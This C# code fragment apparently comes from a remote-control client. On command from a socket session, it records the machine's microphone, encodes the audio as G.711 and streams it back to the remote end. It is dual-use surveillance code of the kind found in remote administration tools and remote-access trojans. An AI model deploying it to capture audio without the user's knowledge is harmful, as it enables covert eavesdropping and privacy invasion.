void m_pWaveIn_BufferFull(byte[] buffer)
        {
            ResponseStartCaptureAudio resp = new ResponseStartCaptureAudio();

            resp.AudioData = G711.Encode_aLaw(buffer, 0, buffer.Length);
            _session.Send(ePacketType.PACKET_START_CAPTURE_AUDIO_RESPONSE, resp);
        }
        public void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            _session = session;
            if (reqType == ePacketType.PACKET_STOP_CAPTURE_AUDIO_REQUEST)
            {
                //StopTest();
                //return;
                if (_waveIn != null)
                {
                    _waveIn.Dispose();
                    _waveIn = null;
                }
            }
            else if (reqType == ePacketType.PACKET_START_CAPTURE_AUDIO_REQUEST)
            {
                RequestStartCaptureAudio  req  = reqObj as RequestStartCaptureAudio;
                ResponseStartCaptureAudio resp = new ResponseStartCaptureAudio();
                try
                {
                    if (_waveIn != null)
                    {
                        return;
                    }
                    //StartTest();
                    //return;
                    if (WaveIn.Devices.Length > 0)
                    {
                        _waveIn             = new WaveIn(WaveIn.Devices[0], 8000, 16, 1, 400);
                        _waveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull);
                        _waveIn.Start();
                    }
                    else
                    {
                        throw new Exception("未找到可用的音频设备");
                    }
                }
                catch (Exception ex)
                {
                    resp.Result  = false;
                    resp.Message = ex.ToString();
                    resp.Detail  = ex.StackTrace.ToString();

                    session.Send(ePacketType.PACKET_START_CAPTURE_AUDIO_RESPONSE, resp);
                }
            }
        }